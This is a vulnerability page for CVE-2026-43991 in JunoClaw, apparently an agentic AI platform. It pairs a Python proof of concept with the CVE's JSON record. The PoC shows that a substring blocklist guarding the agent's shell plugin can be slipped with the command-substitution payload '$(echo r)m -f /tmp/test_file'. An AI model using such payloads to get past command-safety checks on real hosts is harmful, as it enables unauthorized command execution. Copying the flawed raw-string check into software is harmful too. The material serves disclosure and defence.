CVE-2026-43991

#!/usr/bin/env python3 # PoC for CVE-2026-43991: Bypassing substring blocklist via argument construction import subprocess def vulnerable_check(raw_command): # Simulate the vulnerable check: looks for 'rm' in the raw string blocklist = ['rm', 'cat', 'shutdown'] for bad_cmd in blocklist: if bad_cmd in raw_command: print(f"[BLOCKED] Command contains forbidden substring: '{bad_cmd}'") return False return True def attempt_exploit(): # Normal command that gets blocked print("--- Attempt 1: Normal command ---") cmd1 = "rm -f /tmp/test_file" if vulnerable_check(cmd1): subprocess.run(cmd1, shell=True) # Exploit: Use variable substitution to hide 'rm' from the raw string check # The raw string '$(echo r)m' does not contain 'rm', but the shell executes it as 'rm' print("\n--- Attempt 2: Bypass using adversarial argument construction ---") # This is a conceptual bypass based on the description "check applied to raw string" # If the system uses bash, we can hide the command. bypass_cmd = "$(echo r)m -f /tmp/test_file" print(f"Payload: {bypass_cmd}") if vulnerable_check(bypass_cmd): print("[SUCCESS] Command bypassed the check!") # In a real scenario, this would execute the command # subprocess.run(bypass_cmd, shell=True) else: print("[FAILED] Command blocked.") if __name__ == "__main__": attempt_exploit()

{"cve": {"id": "CVE-2026-43991", "sourceIdentifier": "[email protected]", "published": "2026-05-12T17:16:21.090", "lastModified": "2026-05-13T17:00:37.097", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, substring-based blocklist in plugin-shell's command-safety check could be bypassed by adversarial argument constructions, allowing unauthorized command execution on the host when combined with the companion advisory. Pre-patch, the check was applied to the raw command string rather than the parsed first token. This vulnerability is fixed in 0.x.y-security-1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-184"}]}], "references": [{"url": "https://github.com/Dragonmonk111/junoclaw/commit/2bc54f6", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/security/advisories/GHSA-fvq5-79h6-952c", "source": "[email protected]"}]}}